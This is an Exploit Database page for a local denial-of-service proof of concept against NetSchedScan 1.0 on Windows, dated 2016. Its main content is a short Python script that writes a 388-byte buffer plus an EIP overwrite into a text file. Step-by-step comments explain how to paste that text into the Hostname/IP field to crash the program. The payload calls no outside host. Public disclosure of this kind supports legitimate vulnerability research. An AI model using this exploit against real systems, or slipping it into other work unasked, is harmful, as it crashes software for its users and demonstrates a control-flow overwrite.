

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

NetSchedScan 1.0 - Crash (PoC)

EDB-ID:

39242

CVE:

N/A

EDB Verified: 

Author:

[ABRAHAM ESPINOSA](#)

Type:

[DOS](#)

Exploit:   / 

Platform:

[WINDOWS](#)

Date:

2016-01-15

Vulnerable App: 



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title      : NetSchedScan v1.0 scan Hostname/IP Field Buffer
#                    : Overflow Crash PoC
# Discovery by       : Abraham Espinosa
# Email              : hechoenmexicomx@hotmail.com
# Discovery Date     : 14/01/2016
# Vendor Homepage    : http://www.foundstone.com
# Software Link      : http://www.mcafee.com/us/downloads/free-
#                    : tools/netschedscan.aspx#
# Tested Version     : 1.0
# Vulnerability Type  : Denial of Service (DoS) Local
# Tested on OS       : Windows 8.1 x64 es
# Steps to Produce the Crash:
# 1.- Run python code : python NetSchedScan.py
# 2.- Open NetSchedScan.txt and copy content to clipboard
# 3.- Open NetSchedScan.exe
# 4.- Clic button Ok
# 5.- Paste Clipboard Scan > Hostname/IP
# 6.- Clic on add button (->)
# 7.- Clic button Aceptar
# 8.- Crashed
```

```
buffer = "\x41" * 388
eip = "\x43" * 4
```

```
f = open ("NetSchedScan.txt", "w")
f.write(buffer + eip)
f.close()
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.